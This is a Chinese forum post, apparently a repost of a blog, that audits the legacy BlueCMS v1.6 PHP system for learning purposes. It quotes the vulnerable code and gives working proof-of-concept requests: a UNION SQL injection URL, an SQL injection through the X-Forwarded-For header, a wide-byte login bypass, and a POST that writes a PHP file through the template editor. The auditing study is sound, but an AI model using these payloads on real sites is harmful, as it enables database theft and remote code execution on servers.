|
本帖最后由 Delina 于 2021-8-30 19:38 编辑
原文链接:通过 BlueCMS 学习 php 代码审计
0x00 前言
最近一直在学习php代码审计,入门过程比自己想象的慢很多,现在各个行业都在内卷,代码审计随着 web 开发技术的发展也会变得更加复杂。但不管现在技术多成熟,多复杂,基础知识一定要扎实。先记录下我目前学习php代码审计的过程:
php基础语法巩固 -> php特性 -> 各漏洞挖掘方法 -> 早期CMS程序代码审计实战 -> MVC模式程序代码审计实战
网上已经有很多讲解如何去审计各种php程序漏洞的博客,大家都讲的很好,但学完这些知识后去真正上手审计一个CMS时,会突然发现自己什么都不会,我总结原因是自己的 web 开发知识太少了,不理解程序的逻辑,导致在审计大量代码时会晕头转向,没有方向。
然后我边学最基础的web开发知识, 边找最简单的 CMS 实战审计,然后逐渐增加难度,慢慢的找到了感觉。目前我认为自己还是一个菜鸡,确实也还是一个菜鸡,所以自己打算好好整理早期CMS程序代码审计实战 -> MVC模式程序代码审计实战的过程,并在博客上发表。
早期CMS程序代码审计实战 我依次选择了 BlueCMS, SeaCMS, DedeCMS, PhpCMS 这 4 个CMS,难度逐渐提升。在对这几个系统的代码审计过程中,也能感受到 web 开发技术的发展和趋势,直到PhpCMS,发现已经实现了一个MVC模型的程序。相信完成这步后再审计非 MVC 模式程序的代码就会具有清晰的思路与十足的把握。
0x01 BlueCMS 简介
BlueCMS 是一款应用于地方分类信息的门户系统,本文下载的源码为 BlueCMS v1.6 sp1版,可以追溯到2010年左右了,该系统确实很老,但审计该系统有一个好处是,即使现在web开发技术十分成熟了,但仍有人因为经验缺乏或时间原因会开发出类似BlueCMS这样简单的系统,甚至比BlueCMS更简单。通过对 BlueCMS 实战审计,能够熟悉这类简单 CMS 的程序逻辑。
BlueCMS 被认为是练手代码审计的绝佳项目,以至于现在百度BlueCMS的关键词全是代码审计。那为什么 BlueCMS 都被审计烂了,我还要在发一篇BlueCMS的代码审计博客呢?首先BlueCMS确实经典,是一个入门的好项目;其次BlueCMS是无MVC架构时期最早流行的一批CMS,是早期CMS程序代码审计实战系列最标志的第一环。
BlueCMS 源码也不太好找,这里推荐站长之家
(http://down.chinaz.com/),yyds
BlueCMS本地部署好后,先访问 /install/index.php 进行安装,感觉过程有点bug,不过返回首页后会发现安装成功。
0x02 全局分析
在学完php的各漏洞代码审计方法后我就直接利用 seay 去扫描代码敏感关键字回溯的方法去审计代码,但在过程中却逐渐蒙圈,经验总结,在审计一个成熟的CMS之间,还是要做好全局分析的工作
目录结构
通过目录结构可以简单看出程序的逻辑
目录结构主要关注入口文件index.php在程序中的位置,BlueCMS时期的程序 index.php 基本位于程序根目录下,其实这是不安全的,会导致整个程序文件被窃取的风险,在审计后面的CMS中会发现这个问题会改善
首页 index.php首页 index.php 首先会加载common.inc.php,include/index.fun.php这些文件具体做了什么后面仔细分析
然后 index.php 就从数据库中获取首页信息,利用smarty模板显示。Smarty是BlueCMS引用的一个成熟的PHP模板引擎,Smarty在那个时期也是很火的,关于Smarty的具体实现代码我们就可以忽略了
- require_once('include/common.inc.php');
- require_once(BLUE_ROOT.'include/index.fun.php');
- // 获取新闻栏目、新闻分类列表、网站公告等数据
- ……
- // 利用smarty模板引擎显示页面
- $smarty->display('index.htm');
复制代码
可以看出index.php并不能算入口文件,它只是在做一个页面的显示工作,从这里我们大概知道前台是一个多入口的模式,注意多入口的系统需要对每个入口文件单独做安全过滤,它们通常都会加载同一个文件来实现,在BlueCMS中这个文件就是common.inc.phpinclude/common.inc.php对GPC数据做了过滤,但外部可控数据还包括$_SERVER没有经过过滤
还需要留意的是 comon.inc.php 还做好了数据库连接工作,$db 为连接数据的对象,后续可以直接使用
comon.inc.php 的其他处理逻辑注释即可
- // 加载一些基础文件
- require_once (BLUE_ROOT.'include/common.fun.php');
- require_once(BLUE_ROOT.'include/cat.fun.php');
- // 外部数据过滤
- if(!get_magic_quotes_gpc())
- {
- $_POST = deep_addslashes($_POST);
- $_GET = deep_addslashes($_GET);
- $_COOKIES = deep_addslashes($_COOKIES);
- $_REQUEST = deep_addslashes($_REQUEST);
- }
- // 数据库链接
- require_once(BLUE_ROOT.'include/mysql.class.php');
- $db = new mysql($dbhost,$dbuser,$dbpass,$dbname);
- // Smarty模板对象就是这引入的
- require(BLUE_ROOT.'include/smarty/Smarty.class.php');
- $smarty = new Smarty();
- // 用户ip处理
- $banned_ip = get_bannedip();
- if (@in_array($online_ip, $banned_ip))
- {
- showmsg('对不起,您的IP已被禁止,有问题请联系管理员!');
- }
复制代码
外部数据的具体过滤方式
追踪一下deep_addslashes()方法,看下数据过滤的具体实现方式
/include/common.fun.php
具体过滤函数是addslashes(),在此情况下引号形式的sql注入基本会被过滤,所以凡是加了common.inc.php的入口文件,基本会实现这些过滤操作
- // include/common.fun.php 14-28:
- function deep_addslashes($str)
- {
- if(is_array($str))
- {
- foreach($str as $key=>$val)
- {
- $str[$key] = deep_addslashes($val);
- }
- }
- else
- {
- $str = addslashes($str);
- }
- return $str;
- }
复制代码
数据库连接方式include/mysql.class.php
数据库连接方法是mysql_connect(),$linkid存放MySQL 连接标识
这里应该提取到一个十分关键的信息,数据库编码为gbk,那么程序就有宽字节注入的可能
然后会看到mysql类还封装了很多底层sql的执行方法,知道这些方法是干嘛的就行
- class mysql {
- var $linkid=null;
- function __construct($dbhost, $dbuser, $dbpw, $dbname = '', $dbcharset = 'gbk', $connect = 1) {
- $this -> mysql($dbhost, $dbuser, $dbpw, $dbname, $dbcharset, $connect);
- }
- function mysql($dbhost, $dbuser, $dbpw, $dbname = '', $dbcharset = 'gbk', $connect=1){
- $func = empty($connect) ? 'mysql_pconnect' : 'mysql_connect';
- if(!$this->linkid = @$func($dbhost, $dbuser, $dbpw, true)){
- $this->dbshow('Can not connect to Mysql!');
- } else {
- if($this->dbversion() > '4.1'){
- mysql_query( "SET NAMES gbk");
- }
- }
- }
- // mysql_query()封装执行sql语句的方法
- function query($sql){
- if(!$query=@mysql_query($sql, $this->linkid)){
- $this->dbshow("Query error:$sql");
- }else{
- return $query;
- }
- }
- // getone() 封装查询数据的方法
- function getone($sql, $type=MYSQL_ASSOC){
- $query = $this->query($sql,$this->linkid);
- $row = mysql_fetch_array($query, $type);
- return $row;
- }
- ……
- }
复制代码
后台逻辑分析后台一般只有通过身份验证后才能访问,提前就有一层安全保障,但后台程序一般都是漏洞百出,我们很多时候只有靠后台才能拿到服务器的shell。这里具体分析一下BlueCMS的后台逻辑
后台入口文件
admin/index.php
admin/index.php 的大部分逻辑由 admin/include/common.inc.php 处理
- index.php 剩下内容主要用于显示后台的页面
- require_once(dirname(__FILE__) . "/include/common.inc.php");
- $act=!empty($_REQUEST['act']) ? trim($_REQUEST['act']) : '';
- if($act==''){
- // 显示后台页面
- $smarty->display('index.htm');
- }
- elseif($act=='top')
- {
- // 显示顶部
- $smarty->display('top.htm');
- }
- elseif($act=='menu'){
- // 显示菜单
- $smarty->display('menu.htm');
- }
- elseif($act == 'main'){
- // 显示主体页面
- $smarty->display('main.htm');
- }
复制代码
admin/templates/default/index.htm关注 index.htm 可以知道后台是通过frame来实现的,这样后台程序的所有功能都可以依附在index.php下实现,在早期的CMS中,基本都是这种实现方案
- <frameset rows="76,*" frameborder="no" border="0" framespacing="0" >
- <frame src="index.php?act=top" name="topFrame" id="topFrame" scrolling="no" noresize>
- <frameset cols="176,*" name="bodyFrame" id="bodyFrame" frameborder="no" border="0" framespacing="0" >
- <frame src="index.php?act=menu" name="menuFrame" id="menuFrame" scrolling="yes" noresize>
- <frame src="index.php?act=main" name="mainFrame" id="mainFrame" scrolling="auto" noresize>
- </frameset>
- </frameset>
复制代码
common.inc.php处理细节admin/include/common.inc.php
该文件内容和 include/common.inc.php 差不多,不同之处在于多了管理员的认证,如果看到加载了 include/common.inc.php 的文件,那么该文件基本为后台访问页面
可以看到 BlueCMS 主要通过session的方法认证用户登陆状态,如果$_SESSION[‘admin_id’]存在则通过验证并刷新用户登陆记录
当前用户 session 信息为空时则会判断用户的cookie信息,如果设置了cookie信息则判断cookie的账号密码是否能登陆
如果未设置cookie信息,则跳转到login.php?act=login页面重新登陆
- // 加载一些基础文件
- require_once(……)
- // 外部数据过滤
- deep_addslashes()
- // 数据库链接
- require_once(BLUE_ROOT.'include/mysql.class.php');
- $db = new mysql($dbhost,$dbuser,$dbpass,$dbname);
- // 加载smarty模板引擎
- require(BLUE_ROOT.'include/smarty/Smarty.class.php');
- $smarty = new Smarty();
- // 管理员身份认证
- if(empty($_SESSION['admin_id']) && $_REQUEST['act'] != 'login' && $_REQUEST['act'] != 'do_login' && $_REQUEST['act'] != 'logout'){
- if($_COOKIE['Blue']['admin_id'] && $_COOKIE['Blue']['admin_name'] && $_COOKIE['Blue']['admin_pwd']){
- if(check_cookie($_COOKIE['Blue']['admin_name'], $_COOKIE['Blue']['admin_pwd'])){
- update_admin_info($_COOKIE['Blue']['admin_name']);
- }
- }else{
- setcookie("Blue[admin_id]", '', 1, $cookiepath, $cookiedomain);
- setcookie("Blue[admin_name]", '', 1, $cookiepath, $cookiedomain);
- setcookie("Blue[admin_pwd]", '', 1, $cookiepath, $cookiedomain);
- echo '<script type="text/javascript">top.location="login.php?act=login";</script>';
- exit();
- }
- }elseif($_SESSION['admin_id']){
- update_admin_info($_SESSION['admin_name']);
- }
复制代码
0x03 漏洞审计
sql注入漏洞
通过BlueCMS我们可以看到各种常见的漏洞写法
数字型注入
ad_js.php
ad_js.php 加载了common.inc.php,会对GPC数据做 addslashes() 过滤
$ad_id通过 $_GET 方式获取,会自动经过一层过滤,最终传入到sql语句执行
在执行的sql语句中发现$ad_id没有引号包裹,而且没有做数字型判断,那么这里很有可能存在数字型sql注入
sql查询结果最后是用注释的方式放在页面上
- require_once dirname(__FILE__) . '/include/common.inc.php';
- $ad_id = !empty($_GET['ad_id']) ? trim($_GET['ad_id']) : '';
- $ad = $db->getone("SELECT * FROM ".table('ad')." WHERE ad_id =".$ad_id);
- if($ad['time_set'] == 0)
- {
- $ad_content = $ad['content'];
- }
- echo "<!--\r\ndocument.write("".$ad_content."");\r\n-->\r\n";
- 复现漏洞时我是想利用报错注入快一点,但没有成功,奇怪,下面用union注入复现:
- http://bluecms.test:8888/ad_js.php?ad_id=0 union select 1,2,3,4,5,6,version()--+
复制代码
$_SERVER 的突破
上面知道只对GPC数据做了全局过滤,还有一个$_SERVER是没有过滤的,其实$_SERVER也是可以传入外部可控数据的
guest_book.php
guest_book.php 是一个处理用户留言功能的模块,但用户发送留言时,会同时把用户留言的ip地址一起放到数据库中
其中$online_ip来自 common.fun.php 中 getip() 函数
- require dirname(__FILE__) . '/include/common.inc.php';
- if ($act == 'list'){
- ……
- }elseif($act == 'send'){
- $sql = "INSERT INTO " . table('guest_book') . " (id, rid, user_id, add_time, ip, content)
- VALUES ('', '$rid', '$user_id', '$timestamp', '$online_ip', '$content')";
- $db->query($sql);
- }
复制代码
common.fun.phpgetip() 首先会在HTTP_开头的环境变量寻找ip,HTTP_开头的变量是可控的,来自请求头
- function getip()
- {
- if (getenv('HTTP_CLIENT_IP'))
- {
- $ip = getenv('HTTP_CLIENT_IP');
- }
- elseif (getenv('HTTP_X_FORWARDED_FOR'))
- {
- $ip = getenv('HTTP_X_FORWARDED_FOR');
- }
- ……
- else
- {
- $ip = $_SERVER['REMOTE_ADDR'];
- }
- return $ip;
- }
复制代码
漏洞复现:
- POST /guest_book.php HTTP/1.1
- Host: bluecms:8888
- User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:89.0) Gecko/20100101 Firefox/89.0
- Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
- Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
- Accept-Encoding: gzip, deflate
- Content-Type: application/x-www-form-urlencoded
- X_FORWARDED_FOR: 192.168.44.1',user())#
- Connection: close
- Cookie: PHPSESSID=8d9d7ed9da5a96ac9b0093dceed684f9
- Upgrade-Insecure-Requests: 1
- Content-Length: 37
- content=hello&act=send&page_id=1&rid=
复制代码
效果:
宽字节注入
上面有提到这一点,因为程序在数据库链接处设置了GBK编码,利用宽字节注入可以绕过程序过滤,所以BlueCMS的sql注入基本都有存在,下面就找一个地方验证一下
admin/login.php
admin/login.php 是后台管理员登陆页面,如果这里存在sql注入常见的利用方式就是注入万能密码
可以看到后台验证验证用户是否登陆的依据:具有非空$_SESSION[‘admin_id’]值
$admin_name 和 $admin_pwd 通过post获取,post数据会通过addslashs()函数过滤。验证的关键函数为check_admin()
- require_once(dirname(__FILE__) . '/include/common.inc.php');
- if($act == 'login'){
- if($_SESSION['admin_id']){
- showmsg('您已登录,不用再次登录', 'index.php');
- }
- ……
- }elseif($act == 'do_login'){
- $admin_name = isset($_POST['admin_name']) ? trim($_POST['admin_name']) : '';
- $admin_pwd = isset($_POST['admin_pwd']) ? trim($_POST['admin_pwd']) : '';
- if(check_admin($admin_name, $admin_pwd)){
- update_admin_info($admin_name);
- if($remember == 1){
- setcookie('Blue[admin_id]', $_SESSION['admin_id'], time()+86400);
- setcookie('Blue[admin_name]', $admin_name, time()+86400);
- setcookie('Blue[admin_pwd]', md5(md5($admin_pwd).$_CFG['cookie_hash']), time()+86400);
- }
- }else{
- showmsg('您输入的用户名和密码有误');
- }
- }
复制代码
admin/include/common.fun.php判断的依据是同时查询用户名和密码,查询到结果则为真
- function check_admin($name, $pwd)
- {
- global $db;
- $row = $db->getone("SELECT COUNT(*) AS num FROM ".table('admin')." WHERE admin_name='$name' and pwd = md5('$pwd')");
- if($row['num'] > 0)
- {
- return true;
- }
- else
- {
- return false;
- }
- }
复制代码
这里我们的宽字节利用不就来了,注入永真的sql语句,我们就绕过了前台的限制注意浏览器会自动对post数据url编码,我们注入的%会被编码导致注入宽字节失效,最好通过抓包取消url编码
任意文件读取/写入
在 BlueCMS 后台处有一个编辑模板的功能,对于这种功能,安全小伙应该保持敏感,这里会出现读取和写入的操作,很有可能就存在任意文件读取/写入漏洞
审计细节
admin/tpl_manage.php
- require_once(dirname(__FILE__).'/include/common.inc.php');
- $act = !empty($_REQUEST['act']) ? trim($_REQUEST['act']) : 'list';
- if($act == 'list'){
- $dir = BLUE_ROOT.'templates/default';
- // 列出$dir下的文件
- ……
- }
- elseif($act == 'edit'){
- $file = $_GET['tpl_name'];
- if(!$handle = @fopen(BLUE_ROOT.'templates/default/'.$file, 'rb')){
- showmsg('打开目标模板文件失败');
- }
- $tpl['content'] = fread($handle, filesize(BLUE_ROOT.'templates/default/'.$file));
- $tpl['content'] = htmlentities($tpl['content'], ENT_QUOTES, GB2312);
- fclose($handle);
- $tpl['name'] = $file;
- template_assign(array('current_act', 'tpl'), array('编辑模板', $tpl));
- $smarty->display('tpl_info.htm');
- }
- elseif($act == 'do_edit'){
- $tpl_name = !empty($_POST['tpl_name']) ? trim($_POST['tpl_name']) : '';
- $tpl_content = !empty($_POST['tpl_content']) ? deep_stripslashes($_POST['tpl_content']) : '';
- if(empty($tpl_name)){
- return false;
- }
- $tpl = BLUE_ROOT.'templates/default/'.$tpl_name;
- if(!$handle = @fopen($tpl, 'wb')){
- showmsg("打开目标模版文件 $tpl 失败");
- }
- if(fwrite($handle, $tpl_content) === false){
- showmsg('写入目标 $tpl 失败');
- }
- fclose($handle);
- showmsg('编辑模板成功', 'tpl_manage.php');
- }
复制代码
$act可控,用于指定操作,具有的操作为list, edit 和do_edit默认操作 list,列出指定目录下的文件
操作 edit用于读取指定目录下的$file,该参数可控,通过../可以实现目录穿越,这里就有任意文件读取漏洞
操作 do_edit 将$tpl_content写入到$tpl_name文件中,两个参数都可控,不过写入的内容$tpl_content会通过 deep_stripslashes() 过滤,同时还要注意$tpl_content是通过 POST 方式传入的,还会经过 addslashes() 处理
include/common.fun.php
查看 deep_stripslashes() ,其实就是使用 stripslashes() 来消除 addslashes() 的影响,所以这里我们输入的内容完全可控,这里将同时存在任意文件读取和写入的漏洞
- function deep_stripslashes($str)
- {
- if(is_array($str))
- {
- foreach($str as $key => $val)
- {
- $str[$key] = deep_stripslashes($val);
- }
- }
- else
- {
- $str = stripslashes($str);
- }
- return $str;
- }
复制代码
复现
利用目录穿越读取任意文件
直接构造一个post请求修改一个不存在的文件,这样将会创建一个文件并写入,poc如下:
- POST /admin/tpl_manage.php HTTP/1.1
- Host: bluecms.test:8888
- User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:90.0) Gecko/20100101 Firefox/90.0
- Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
- Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
- Accept-Encoding: gzip, deflate
- Content-Type: application/x-www-form-urlencoded
- Content-Length: 59
- Origin: http://bluecms.test:8888
- Connection: close
- Referer: http://bluecms.test:8888/admin/tpl_manage.php?act=edit&tpl_name=news_info.htm
- Cookie: PHPSESSID=bb499d4e1bddb4c5b2c6cd16c39e5c77
- Upgrade-Insecure-Requests: 1
- tpl_content=<?php phpinfo();?>&tpl_name=php.php&act=do_edit
复制代码
效果:
任意文件删除user.php
$id 可控,直接传入unlink()会可造成任意文件删除漏洞。不过在unlink()操作前会执行一条sql语句,BlueCMS 初始数据库是没有company_image表的,导致数据库报错是执行不到unlink()操作的
- elseif ($act == 'del_pic') {
- $id = $_REQUEST['id'];
- $db->query("DELETE FROM " . table('company_image') . " WHERE path='$id'");
- if (file_exists(BLUE_ROOT . $id)) {
- @unlink(BLUE_ROOT . $id);
- }
复制代码
0x04 总结BlueCMS 总体代码比较简单,出现的漏洞也比较典型,没有什么特别之处。另外本文并没有针对 XSS 漏洞做审计,对于这种简单的系统使用黑盒测试的方法似乎要更快一点。
|
|